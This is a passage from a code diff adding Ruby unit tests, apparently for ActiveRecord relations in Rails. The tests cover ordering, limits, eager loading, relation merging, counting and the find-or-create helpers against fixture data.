+ assert_queries(1) do
+ topics.to_a # force load
+ 2.times { assert_equal "The First Topic", topics.first.title }
+ end
+
+ assert topics.loaded?
+ end
+
+ def test_reload
+ topics = Topic.all
+
+ assert_queries(1) do
+ 2.times { topics.to_a }
+ end
+
+ assert topics.loaded?
+
+ original_size = topics.to_a.size
+ Topic.create! :title => 'fake'
+
+ assert_queries(1) { topics.reload }
+ assert_equal original_size + 1, topics.size
+ assert topics.loaded?
+ end
+
+ def test_finding_with_subquery
+ relation = Topic.where(:approved => true)
+ assert_equal relation.to_a, Topic.select('*').from(relation).to_a
+ assert_equal relation.to_a, Topic.select('subquery.*').from(relation).to_a
+ assert_equal relation.to_a, Topic.select('a.*').from(relation, :a).to_a
+ end
+
+ def test_finding_with_conditions
+ assert_equal ["David"], Author.where(:name => 'David').map(&:name)
+ assert_equal ['Mary'], Author.where(["name = ?", 'Mary']).map(&:name)
+ assert_equal ['Mary'], Author.where("name = ?", 'Mary').map(&:name)
+ end
+
+ def test_finding_with_order
+ topics = Topic.order('id')
+ assert_equal 4, topics.to_a.size
+ assert_equal topics(:first).title, topics.first.title
+ end
+
+
+ def test_finding_with_arel_order
+ topics = Topic.order(Topic.arel_table[:id].asc)
+ assert_equal 4, topics.to_a.size
+ assert_equal topics(:first).title, topics.first.title
+ end
+
+ def test_finding_with_assoc_order
+ topics = Topic.order(:id => :desc)
+ assert_equal 4, topics.to_a.size
+ assert_equal topics(:fourth).title, topics.first.title
+ end
+
+ def test_finding_with_reverted_assoc_order
+ topics = Topic.order(:id => :asc).reverse_order
+ assert_equal 4, topics.to_a.size
+ assert_equal topics(:fourth).title, topics.first.title
+ end
+
+ def test_raising_exception_on_invalid_hash_params
+ assert_raise(ArgumentError) { Topic.order(:name, "id DESC", :id => :DeSc) }
+ end
+
+ def test_finding_last_with_arel_order
+ topics = Topic.order(Topic.arel_table[:id].asc)
+ assert_equal topics(:fourth).title, topics.last.title
+ end
+
+ def test_finding_with_order_concatenated
+ topics = Topic.order('title').order('author_name')
+ assert_equal 4, topics.to_a.size
+ assert_equal topics(:fourth).title, topics.first.title
+ end
+
+ def test_finding_with_reorder
+ topics = Topic.order('author_name').order('title').reorder('id').to_a
+ topics_titles = topics.map{ |t| t.title }
+ assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day'], topics_titles
+ end
+
+ def test_finding_with_order_and_take
+ entrants = Entrant.order("id ASC").limit(2).to_a
+
+ assert_equal 2, entrants.size
+ assert_equal entrants(:first).name, entrants.first.name
+ end
+
+ def test_finding_with_cross_table_order_and_limit
+ tags = Tag.includes(:taggings).
+ order("tags.name asc", "taggings.taggable_id asc", "REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").
+ limit(1).to_a
+ assert_equal 1, tags.length
+ end
+
+ def test_finding_with_complex_order_and_limit
+ tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").limit(1).to_a
+ assert_equal 1, tags.length
+ end
+
+ def test_finding_with_complex_order
+ tags = Tag.includes(:taggings).references(:taggings).order("REPLACE('abc', taggings.taggable_type, taggings.taggable_type)").to_a
+ assert_equal 3, tags.length
+ end
+
+ def test_finding_with_order_limit_and_offset
+ entrants = Entrant.order("id ASC").limit(2).offset(1)
+
+ assert_equal 2, entrants.to_a.size
+ assert_equal entrants(:second).name, entrants.first.name
+
+ entrants = Entrant.order("id ASC").limit(2).offset(2)
+ assert_equal 1, entrants.to_a.size
+ assert_equal entrants(:third).name, entrants.first.name
+ end
+
+ def test_finding_with_group
+ developers = Developer.group("salary").select("salary").to_a
+ assert_equal 4, developers.size
+ assert_equal 4, developers.map(&:salary).uniq.size
+ end
+
+ def test_select_with_block
+ even_ids = Developer.all.select {|d| d.id % 2 == 0 }.map(&:id)
+ assert_equal [2, 4, 6, 8, 10], even_ids.sort
+ end
+
+ def test_none
+ assert_no_queries do
+ assert_equal [], Developer.none
+ assert_equal [], Developer.all.none
+ end
+ end
+
+ def test_none_chainable
+ assert_no_queries do
+ assert_equal [], Developer.none.where(:name => 'David')
+ end
+ end
+
+ def test_none_chainable_to_existing_scope_extension_method
+ assert_no_queries do
+ assert_equal 1, Topic.anonymous_extension.none.one
+ end
+ end
+
+ def test_none_chained_to_methods_firing_queries_straight_to_db
+ assert_no_queries do
+ assert_equal [], Developer.none.pluck(:id) # => uses select_all
+ assert_equal 0, Developer.none.delete_all
+ assert_equal 0, Developer.none.update_all(:name => 'David')
+ assert_equal 0, Developer.none.delete(1)
+ assert_equal false, Developer.none.exists?(1)
+ end
+ end
+
+ def test_null_relation_content_size_methods
+ assert_no_queries do
+ assert_equal 0, Developer.none.size
+ assert_equal 0, Developer.none.count
+ assert_equal true, Developer.none.empty?
+ assert_equal false, Developer.none.any?
+ assert_equal false, Developer.none.many?
+ end
+ end
+
+ def test_null_relation_calculations_methods
+ assert_no_queries do
+ assert_equal 0, Developer.none.count
+ assert_equal nil, Developer.none.calculate(:average, 'salary')
+ end
+ end
+
+ def test_null_relation_metadata_methods
+ assert_equal "", Developer.none.to_sql
+ assert_equal({}, Developer.none.where_values_hash)
+ end
+
+ def test_joins_with_nil_argument
+ assert_nothing_raised { DependentFirm.joins(nil).first }
+ end
+
+ def test_finding_with_hash_conditions_on_joined_table
+ firms = DependentFirm.joins(:account).where({:name => 'RailsCore', :accounts => { :credit_limit => 55..60 }}).to_a
+ assert_equal 1, firms.size
+ assert_equal companies(:rails_core), firms.first
+ end
+
+ def test_find_all_with_join
+ developers_on_project_one = Developer.joins('LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id').
+ where('project_id=1').to_a
+
+ assert_equal 3, developers_on_project_one.length
+ developer_names = developers_on_project_one.map { |d| d.name }
+ assert developer_names.include?('David')
+ assert developer_names.include?('Jamis')
+ end
+
+ def test_find_on_hash_conditions
+ assert_equal Topic.all.merge!(:where => {:approved => false}).to_a, Topic.where({ :approved => false }).to_a
+ end
+
+ def test_joins_with_string_array
+ person_with_reader_and_post = Post.joins([
+ "INNER JOIN categorizations ON categorizations.post_id = posts.id",
+ "INNER JOIN categories ON categories.id = categorizations.category_id AND categories.type = 'SpecialCategory'"
+ ]
+ ).to_a
+ assert_equal 1, person_with_reader_and_post.size
+ end
+
+ def test_no_arguments_to_query_methods_raise_errors
+ assert_raises(ArgumentError) { Topic.references() }
+ assert_raises(ArgumentError) { Topic.includes() }
+ assert_raises(ArgumentError) { Topic.preload() }
+ assert_raises(ArgumentError) { Topic.group() }
+ assert_raises(ArgumentError) { Topic.reorder() }
+ end
+
+ def test_blank_like_arguments_to_query_methods_dont_raise_errors
+ assert_nothing_raised { Topic.references([]) }
+ assert_nothing_raised { Topic.includes([]) }
+ assert_nothing_raised { Topic.preload([]) }
+ assert_nothing_raised { Topic.group([]) }
+ assert_nothing_raised { Topic.reorder([]) }
+ end
+
+ def test_scoped_responds_to_delegated_methods
+ relation = Topic.all
+
+ ["map", "uniq", "sort", "insert", "delete", "update"].each do |method|
+ assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
+ end
+ end
+
+ def test_respond_to_delegates_to_relation
+ relation = Topic.all
+ fake_arel = Struct.new(:responds) {
+ def respond_to? method, access = false
+ responds << [method, access]
+ end
+ }.new []
+
+ relation.extend(Module.new { attr_accessor :arel })
+ relation.arel = fake_arel
+
+ relation.respond_to?(:matching_attributes)
+ assert_equal [:matching_attributes, false], fake_arel.responds.first
+
+ fake_arel.responds = []
+ relation.respond_to?(:matching_attributes, true)
+ assert_equal [:matching_attributes, true], fake_arel.responds.first
+ end
+
+ def test_respond_to_dynamic_finders
+ relation = Topic.all
+
+ ["find_by_title", "find_by_title_and_author_name", "find_or_create_by_title", "find_or_initialize_by_title_and_author_name"].each do |method|
+ assert_respond_to relation, method, "Topic.all should respond to #{method.inspect}"
+ end
+ end
+
+ def test_respond_to_class_methods_and_scopes
+ assert Topic.all.respond_to?(:by_lifo)
+ end
+
+ def test_find_with_readonly_option
+ Developer.all.each { |d| assert !d.readonly? }
+ Developer.all.readonly.each { |d| assert d.readonly? }
+ end
+
+ def test_eager_association_loading_of_stis_with_multiple_references
+ authors = Author.eager_load(:posts => { :special_comments => { :post => [ :special_comments, :very_special_comment ] } }).
+ order('comments.body, very_special_comments_posts.body').where('posts.id = 4').to_a
+
+ assert_equal [authors(:david)], authors
+ assert_no_queries do
+ authors.first.posts.first.special_comments.first.post.special_comments
+ authors.first.posts.first.special_comments.first.post.very_special_comment
+ end
+ end
+
+ def test_find_with_preloaded_associations
+ assert_queries(2) do
+ posts = Post.preload(:comments).order('posts.id')
+ assert posts.first.comments.first
+ end
+
+ assert_queries(2) do
+ posts = Post.preload(:comments).order('posts.id')
+ assert posts.first.comments.first
+ end
+
+ assert_queries(2) do
+ posts = Post.preload(:author).order('posts.id')
+ assert posts.first.author
+ end
+
+ assert_queries(2) do
+ posts = Post.preload(:author).order('posts.id')
+ assert posts.first.author
+ end
+
+ assert_queries(3) do
+ posts = Post.preload(:author, :comments).order('posts.id')
+ assert posts.first.author
+ assert posts.first.comments.first
+ end
+ end
+
+ def test_preload_applies_to_all_chained_preloaded_scopes
+ assert_queries(3) do
+ post = Post.with_comments.with_tags.first
+ assert post
+ end
+ end
+
+ def test_find_with_included_associations
+ assert_queries(2) do
+ posts = Post.includes(:comments).order('posts.id')
+ assert posts.first.comments.first
+ end
+
+ assert_queries(2) do
+ posts = Post.all.includes(:comments).order('posts.id')
+ assert posts.first.comments.first
+ end
+
+ assert_queries(2) do
+ posts = Post.includes(:author).order('posts.id')
+ assert posts.first.author
+ end
+
+ assert_queries(3) do
+ posts = Post.includes(:author, :comments).order('posts.id')
+ assert posts.first.author
+ assert posts.first.comments.first
+ end
+ end
+
+ def test_default_scope_with_conditions_string
+ assert_equal Developer.where(name: 'David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
+ assert_nil DeveloperCalledDavid.create!.name
+ end
+
+ def test_default_scope_with_conditions_hash
+ assert_equal Developer.where(name: 'Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
+ assert_equal 'Jamis', DeveloperCalledJamis.create!.name
+ end
+
+ def test_default_scoping_finder_methods
+ developers = DeveloperCalledDavid.order('id').map(&:id).sort
+ assert_equal Developer.where(name: 'David').map(&:id).sort, developers
+ end
+
+ def test_loading_with_one_association
+ posts = Post.preload(:comments)
+ post = posts.find { |p| p.id == 1 }
+ assert_equal 2, post.comments.size
+ assert post.comments.include?(comments(:greetings))
+
+ post = Post.where("posts.title = 'Welcome to the weblog'").preload(:comments).first
+ assert_equal 2, post.comments.size
+ assert post.comments.include?(comments(:greetings))
+
+ posts = Post.preload(:last_comment)
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+
+ def test_loading_with_one_association_with_non_preload
+ posts = Post.eager_load(:last_comment).order('comments.id DESC')
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+
+ def test_dynamic_find_by_attributes
+ david = authors(:david)
+ author = Author.preload(:taggings).find_by_id(david.id)
+ expected_taggings = taggings(:welcome_general, :thinking_general)
+
+ assert_no_queries do
+ assert_equal expected_taggings, author.taggings.distinct.sort_by { |t| t.id }
+ assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
+ end
+
+ authors = Author.all
+ assert_equal david, authors.find_by_id_and_name(david.id, david.name)
+ assert_equal david, authors.find_by_id_and_name!(david.id, david.name)
+ end
+
+ def test_dynamic_find_by_attributes_bang
+ author = Author.all.find_by_id!(authors(:david).id)
+ assert_equal "David", author.name
+
+ assert_raises(ActiveRecord::RecordNotFound) { Author.all.find_by_id_and_name!(20, 'invalid') }
+ end
+
+ def test_find_id
+ authors = Author.all
+
+ david = authors.find(authors(:david).id)
+ assert_equal 'David', david.name
+
+ assert_raises(ActiveRecord::RecordNotFound) { authors.where(:name => 'lifo').find('42') }
+ end
+
+ def test_find_ids
+ authors = Author.order('id ASC')
+
+ results = authors.find(authors(:david).id, authors(:mary).id)
+ assert_kind_of Array, results
+ assert_equal 2, results.size
+ assert_equal 'David', results[0].name
+ assert_equal 'Mary', results[1].name
+ assert_equal results, authors.find([authors(:david).id, authors(:mary).id])
+
+ assert_raises(ActiveRecord::RecordNotFound) { authors.where(:name => 'lifo').find(authors(:david).id, '42') }
+ assert_raises(ActiveRecord::RecordNotFound) { authors.find(['42', 43]) }
+ end
+
+ def test_find_in_empty_array
+ authors = Author.all.where(:id => [])
+ assert authors.to_a.blank?
+ end
+
+ def test_where_with_ar_object
+ author = Author.first
+ authors = Author.all.where(:id => author)
+ assert_equal 1, authors.to_a.length
+ end
+
+ def test_find_with_list_of_ar
+ author = Author.first
+ authors = Author.find([author])
+ assert_equal author, authors.first
+ end
+
+ class Mary < Author; end
+
+ def test_find_by_classname
+ Author.create!(:name => Mary.name)
+ assert_equal 1, Author.where(:name => Mary).size
+ end
+
+ def test_find_by_id_with_list_of_ar
+ author = Author.first
+ authors = Author.find_by_id([author])
+ assert_equal author, authors
+ end
+
+ def test_find_all_using_where_twice_should_or_the_relation
+ david = authors(:david)
+ relation = Author.unscoped
+ relation = relation.where(:name => david.name)
+ relation = relation.where(:name => 'Santiago')
+ relation = relation.where(:id => david.id)
+ assert_equal [], relation.to_a
+ end
+
+ def test_multi_where_ands_queries
+ relation = Author.unscoped
+ david = authors(:david)
+ sql = relation.where(:name => david.name).where(:name => 'Santiago').to_sql
+ assert_match('AND', sql)
+ end
+
+ def test_find_all_with_multiple_should_use_and
+ david = authors(:david)
+ relation = [
+ { :name => david.name },
+ { :name => 'Santiago' },
+ { :name => 'tenderlove' },
+ ].inject(Author.unscoped) do |memo, param|
+ memo.where(param)
+ end
+ assert_equal [], relation.to_a
+ end
+
+ def test_find_all_using_where_with_relation
+ david = authors(:david)
+ # switching the lines below would succeed in current rails
+ # assert_queries(2) {
+ assert_queries(1) {
+ relation = Author.where(:id => Author.where(:id => david.id))
+ assert_equal [david], relation.to_a
+ }
+ end
+
+ def test_find_all_using_where_with_relation_and_alternate_primary_key
+ cool_first = minivans(:cool_first)
+ # switching the lines below would succeed in current rails
+ # assert_queries(2) {
+ assert_queries(1) {
+ relation = Minivan.where(:minivan_id => Minivan.where(:name => cool_first.name))
+ assert_equal [cool_first], relation.to_a
+ }
+ end
+
+ def test_find_all_using_where_with_relation_does_not_alter_select_values
+ david = authors(:david)
+
+ subquery = Author.where(:id => david.id)
+
+ assert_queries(1) {
+ relation = Author.where(:id => subquery)
+ assert_equal [david], relation.to_a
+ }
+
+ assert_equal 0, subquery.select_values.size
+ end
+
+ def test_find_all_using_where_with_relation_with_joins
+ david = authors(:david)
+ assert_queries(1) {
+ relation = Author.where(:id => Author.joins(:posts).where(:id => david.id))
+ assert_equal [david], relation.to_a
+ }
+ end
+
+
+ def test_find_all_using_where_with_relation_with_select_to_build_subquery
+ david = authors(:david)
+ assert_queries(1) {
+ relation = Author.where(:name => Author.where(:id => david.id).select(:name))
+ assert_equal [david], relation.to_a
+ }
+ end
+
+ def test_exists
+ davids = Author.where(:name => 'David')
+ assert davids.exists?
+ assert davids.exists?(authors(:david).id)
+ assert ! davids.exists?(authors(:mary).id)
+ assert ! davids.exists?("42")
+ assert ! davids.exists?(42)
+ assert ! davids.exists?(davids.new)
+
+ fake = Author.where(:name => 'fake author')
+ assert ! fake.exists?
+ assert ! fake.exists?(authors(:david).id)
+ end
+
+ def test_last
+ authors = Author.all
+ assert_equal authors(:bob), authors.last
+ end
+
+ def test_destroy_all
+ davids = Author.where(:name => 'David')
+
+ # Force load
+ assert_equal [authors(:david)], davids.to_a
+ assert davids.loaded?
+
+ assert_difference('Author.count', -1) { davids.destroy_all }
+
+ assert_equal [], davids.to_a
+ assert davids.loaded?
+ end
+
+ def test_delete_all
+ davids = Author.where(:name => 'David')
+
+ assert_difference('Author.count', -1) { davids.delete_all }
+ assert ! davids.loaded?
+ end
+
+ def test_delete_all_loaded
+ davids = Author.where(:name => 'David')
+
+ # Force load
+ assert_equal [authors(:david)], davids.to_a
+ assert davids.loaded?
+
+ assert_difference('Author.count', -1) { davids.delete_all }
+
+ assert_equal [], davids.to_a
+ assert davids.loaded?
+ end
+
+ def test_delete_all_limit_error
+ assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
+ end
+
+ def test_select_takes_a_variable_list_of_args
+ david = developers(:david)
+
+ developer = Developer.where(id: david.id).select(:name, :salary).first
+ assert_equal david.name, developer.name
+ assert_equal david.salary, developer.salary
+ end
+
+ def test_select_argument_error
+ assert_raises(ArgumentError) { Developer.select }
+ end
+
+ def test_relation_merging
+ devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
+ assert_equal [developers(:david), developers(:jamis)], devs.to_a
+
+ dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
+ assert_equal [developers(:poor_jamis)], dev_with_count.to_a
+ end
+
+ def test_relation_to_sql
+ sql = Post.connection.unprepared_statement do
+ Post.first.comments.to_sql
+ end
+ assert_no_match(/\?/, sql)
+ end
+
+ def test_relation_merging_with_arel_equalities_keeps_last_equality
+ devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+ Developer.where(Developer.arel_table[:salary].eq(9000))
+ )
+ assert_equal [developers(:poor_jamis)], devs.to_a
+ end
+
+ def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+ salary_attr = Developer.arel_table[:salary]
+ devs = Developer.where(
+ Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
+ ).merge(
+ Developer.where(
+ Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
+ )
+ )
+ assert_equal [developers(:poor_jamis)], devs.to_a
+ end
+
+ def test_relation_merging_with_eager_load
+ relations = []
+ relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
+ relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
+
+ relations.each do |posts|
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+ end
+
+ def test_relation_merging_with_locks
+ devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
+ assert devs.locked.present?
+ end
+
+ def test_relation_merging_with_preload
+ [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+ assert_queries(2) { assert posts.first.author }
+ end
+ end
+
+ def test_relation_merging_with_joins
+ comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
+ assert_equal 1, comments.count
+ end
+
+ def test_relation_merging_with_association
+ assert_queries(2) do # one for loading post, and another one merged query
+ post = Post.where(:body => 'Such a lovely day').first
+ comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
+ assert_equal 1, comments.count
+ end
+ end
+
+ def test_count
+ posts = Post.all
+
+ assert_equal 11, posts.count
+ assert_equal 11, posts.count(:all)
+ assert_equal 11, posts.count(:id)
+
+ assert_equal 1, posts.where('comments_count > 1').count
+ assert_equal 9, posts.where(:comments_count => 0).count
+ end
+
+ def test_count_with_distinct
+ posts = Post.all
+
+ assert_equal 3, posts.distinct(true).count(:comments_count)
+ assert_equal 11, posts.distinct(false).count(:comments_count)
+
+ assert_equal 3, posts.distinct(true).select(:comments_count).count
+ assert_equal 11, posts.distinct(false).select(:comments_count).count
+ end
+
+ def test_count_explicit_columns
+ Post.update_all(:comments_count => nil)
+ posts = Post.all
+
+ assert_equal [0], posts.select('comments_count').where('id is not null').group('id').order('id').count.values.uniq
+ assert_equal 0, posts.where('id is not null').select('comments_count').count
+
+ assert_equal 11, posts.select('comments_count').count('id')
+ assert_equal 0, posts.select('comments_count').count
+ assert_equal 0, posts.count(:comments_count)
+ assert_equal 0, posts.count('comments_count')
+ end
+
+ def test_multiple_selects
+ post = Post.all.select('comments_count').select('title').order("id ASC").first
+ assert_equal "Welcome to the weblog", post.title
+ assert_equal 2, post.comments_count
+ end
+
+ def test_size
+ posts = Post.all
+
+ assert_queries(1) { assert_equal 11, posts.size }
+ assert ! posts.loaded?
+
+ best_posts = posts.where(:comments_count => 0)
+ best_posts.to_a # force load
+ assert_no_queries { assert_equal 9, best_posts.size }
+ end
+
+ def test_size_with_limit
+ posts = Post.limit(10)
+
+ assert_queries(1) { assert_equal 10, posts.size }
+ assert ! posts.loaded?
+
+ best_posts = posts.where(:comments_count => 0)
+ best_posts.to_a # force load
+ assert_no_queries { assert_equal 9, best_posts.size }
+ end
+
+ def test_size_with_zero_limit
+ posts = Post.limit(0)
+
+ assert_no_queries { assert_equal 0, posts.size }
+ assert ! posts.loaded?
+
+ posts.to_a # force load
+ assert_no_queries { assert_equal 0, posts.size }
+ end
+
+ def test_empty_with_zero_limit
+ posts = Post.limit(0)
+
+ assert_no_queries { assert_equal true, posts.empty? }
+ assert ! posts.loaded?
+ end
+
+ def test_count_complex_chained_relations
+ posts = Post.select('comments_count').where('id is not null').group("author_id").where("comments_count > 0")
+
+ expected = { 1 => 2 }
+ assert_equal expected, posts.count
+ end
+
+ def test_empty
+ posts = Post.all
+
+ assert_queries(1) { assert_equal false, posts.empty? }
+ assert ! posts.loaded?
+
+ no_posts = posts.where(:title => "")
+ assert_queries(1) { assert_equal true, no_posts.empty? }
+ assert ! no_posts.loaded?
+
+ best_posts = posts.where(:comments_count => 0)
+ best_posts.to_a # force load
+ assert_no_queries { assert_equal false, best_posts.empty? }
+ end
+
+ def test_empty_complex_chained_relations
+ posts = Post.select("comments_count").where("id is not null").group("author_id").where("comments_count > 0")
+
+ assert_queries(1) { assert_equal false, posts.empty? }
+ assert ! posts.loaded?
+
+ no_posts = posts.where(:title => "")
+ assert_queries(1) { assert_equal true, no_posts.empty? }
+ assert ! no_posts.loaded?
+ end
+
+ def test_any
+ posts = Post.all
+
+ # This test was failing when run on its own (as opposed to running the entire suite).
+ # The second line in the assert_queries block was causing visit_Arel_Attributes_Attribute
+ # in Arel::Visitors::ToSql to trigger a SHOW TABLES query. Running that line here causes
+ # the SHOW TABLES result to be cached so we don't have to do it again in the block.
+ #
+ # This is obviously a rubbish fix but it's the best I can come up with for now...
+ posts.where(:id => nil).any?
+
+ assert_queries(3) do
+ assert posts.any? # Uses COUNT()
+ assert ! posts.where(:id => nil).any?
+
+ assert posts.any? {|p| p.id > 0 }
+ assert ! posts.any? {|p| p.id <= 0 }
+ end
+
+ assert posts.loaded?
+ end
+
+ def test_many
+ posts = Post.all
+
+ assert_queries(2) do
+ assert posts.many? # Uses COUNT()
+ assert posts.many? {|p| p.id > 0 }
+ assert ! posts.many? {|p| p.id < 2 }
+ end
+
+ assert posts.loaded?
+ end
+
+ def test_many_with_limits
+ posts = Post.all
+
+ assert posts.many?
+ assert ! posts.limit(1).many?
+ end
+
+ def test_build
+ posts = Post.all
+
+ post = posts.new
+ assert_kind_of Post, post
+ end
+
+ def test_scoped_build
+ posts = Post.where(:title => 'You told a lie')
+
+ post = posts.new
+ assert_kind_of Post, post
+ assert_equal 'You told a lie', post.title
+ end
+
+ def test_create
+ birds = Bird.all
+
+ sparrow = birds.create
+ assert_kind_of Bird, sparrow
+ assert !sparrow.persisted?
+
+ hen = birds.where(:name => 'hen').create
+ assert hen.persisted?
+ assert_equal 'hen', hen.name
+ end
+
+ def test_create_bang
+ birds = Bird.all
+
+ assert_raises(ActiveRecord::RecordInvalid) { birds.create! }
+
+ hen = birds.where(:name => 'hen').create!
+ assert_kind_of Bird, hen
+ assert hen.persisted?
+ assert_equal 'hen', hen.name
+ end
+
+ def test_first_or_create
+ parrot = Bird.where(:color => 'green').first_or_create(:name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'parrot', parrot.name
+ assert_equal 'green', parrot.color
+
+ same_parrot = Bird.where(:color => 'green').first_or_create(:name => 'parakeet')
+ assert_kind_of Bird, same_parrot
+ assert same_parrot.persisted?
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_with_no_parameters
+ parrot = Bird.where(:color => 'green').first_or_create
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert_equal 'green', parrot.color
+ end
+
+ def test_first_or_create_with_block
+ parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parrot' }
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'green', parrot.color
+ assert_equal 'parrot', parrot.name
+
+ same_parrot = Bird.where(:color => 'green').first_or_create { |bird| bird.name = 'parakeet' }
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_with_array
+ several_green_birds = Bird.where(:color => 'green').first_or_create([{:name => 'parrot'}, {:name => 'parakeet'}])
+ assert_kind_of Array, several_green_birds
+ several_green_birds.each { |bird| assert bird.persisted? }
+
+ same_parrot = Bird.where(:color => 'green').first_or_create([{:name => 'hummingbird'}, {:name => 'macaw'}])
+ assert_kind_of Bird, same_parrot
+ assert_equal several_green_birds.first, same_parrot
+ end
+
+ def test_first_or_create_bang_with_valid_options
+ parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'parrot', parrot.name
+ assert_equal 'green', parrot.color
+
+ same_parrot = Bird.where(:color => 'green').first_or_create!(:name => 'parakeet')
+ assert_kind_of Bird, same_parrot
+ assert same_parrot.persisted?
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_bang_with_invalid_options
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!(:pirate_id => 1) }
+ end
+
+ def test_first_or_create_bang_with_no_parameters
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create! }
+ end
+
+ def test_first_or_create_bang_with_valid_block
+ parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parrot' }
+ assert_kind_of Bird, parrot
+ assert parrot.persisted?
+ assert_equal 'green', parrot.color
+ assert_equal 'parrot', parrot.name
+
+ same_parrot = Bird.where(:color => 'green').first_or_create! { |bird| bird.name = 'parakeet' }
+ assert_equal parrot, same_parrot
+ end
+
+ def test_first_or_create_bang_with_invalid_block
+ assert_raise(ActiveRecord::RecordInvalid) do
+ Bird.where(:color => 'green').first_or_create! { |bird| bird.pirate_id = 1 }
+ end
+ end
+
+ def test_first_or_create_with_valid_array
+ several_green_birds = Bird.where(:color => 'green').first_or_create!([{:name => 'parrot'}, {:name => 'parakeet'}])
+ assert_kind_of Array, several_green_birds
+ several_green_birds.each { |bird| assert bird.persisted? }
+
+ same_parrot = Bird.where(:color => 'green').first_or_create!([{:name => 'hummingbird'}, {:name => 'macaw'}])
+ assert_kind_of Bird, same_parrot
+ assert_equal several_green_birds.first, same_parrot
+ end
+
+ def test_first_or_create_with_invalid_array
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.where(:color => 'green').first_or_create!([ {:name => 'parrot'}, {:pirate_id => 1} ]) }
+ end
+
+ def test_first_or_initialize
+ parrot = Bird.where(:color => 'green').first_or_initialize(:name => 'parrot')
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert parrot.valid?
+ assert parrot.new_record?
+ assert_equal 'parrot', parrot.name
+ assert_equal 'green', parrot.color
+ end
+
+ def test_first_or_initialize_with_no_parameters
+ parrot = Bird.where(:color => 'green').first_or_initialize
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert !parrot.valid?
+ assert parrot.new_record?
+ assert_equal 'green', parrot.color
+ end
+
+ def test_first_or_initialize_with_block
+ parrot = Bird.where(:color => 'green').first_or_initialize { |bird| bird.name = 'parrot' }
+ assert_kind_of Bird, parrot
+ assert !parrot.persisted?
+ assert parrot.valid?
+ assert parrot.new_record?
+ assert_equal 'green', parrot.color
+ assert_equal 'parrot', parrot.name
+ end
+
+ def test_find_or_create_by
+ assert_nil Bird.find_by(name: 'bob')
+
+ bird = Bird.find_or_create_by(name: 'bob')
+ assert bird.persisted?
+
+ assert_equal bird, Bird.find_or_create_by(name: 'bob')
+ end
+
+ def test_find_or_create_by_with_create_with
+ assert_nil Bird.find_by(name: 'bob')
+
+ bird = Bird.create_with(color: 'green').find_or_create_by(name: 'bob')
+ assert bird.persisted?
+ assert_equal 'green', bird.color
+
+ assert_equal bird, Bird.create_with(color: 'blue').find_or_create_by(name: 'bob')
+ end
+
+ def test_find_or_create_by!
+ assert_raises(ActiveRecord::RecordInvalid) { Bird.find_or_create_by!(color: 'green') }
+ end
+
+ def test_find_or_initialize_by
+ assert_nil Bird.find_by(name: 'bob')
+
+ bird = Bird.find_or_initialize_by(name: 'bob')
+ assert bird.new_record?
+ bird.save!
+
+ assert_equal bird, Bird.find_or_initialize_by(name: 'bob')
+ end
+
+ def test_explicit_create_scope
+ hens = Bird.where(:name => 'hen')
+ assert_equal 'hen', hens.new.name
+
+ hens = hens.create_with(:name => 'cock')
+ assert_equal 'cock', hens.new.name
+ end
+
+ def test_except
+ relation = Post.where(:author_id => 1).order('id ASC').limit(1)
+ assert_equal [posts(:welcome)], relation.to_a
+
+ author_posts = relation.except(:order, :limit)
+ assert_equal Post.where(:author_id => 1).to_a, author_posts.to_a
+
+ all_posts = relation.except(:where, :order, :limit)
+ assert_equal Post.all, all_posts
+ end
+
+ def test_only
+ relation = Post.where(:author_id => 1).order('id ASC').limit(1)
+ assert_equal [posts(:welcome)], relation.to_a
+
+ author_posts = relation.only(:where)
+ assert_equal Post.where(:author_id => 1).to_a, author_posts.to_a
+
+ all_posts = relation.only(:limit)
+ assert_equal Post.limit(1).to_a.first, all_posts.first
+ end
+
